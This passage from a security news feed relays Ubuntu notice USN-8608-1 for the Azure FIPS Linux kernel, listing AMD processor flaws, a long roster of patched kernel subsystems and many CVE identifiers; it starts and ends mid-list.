CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:38 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
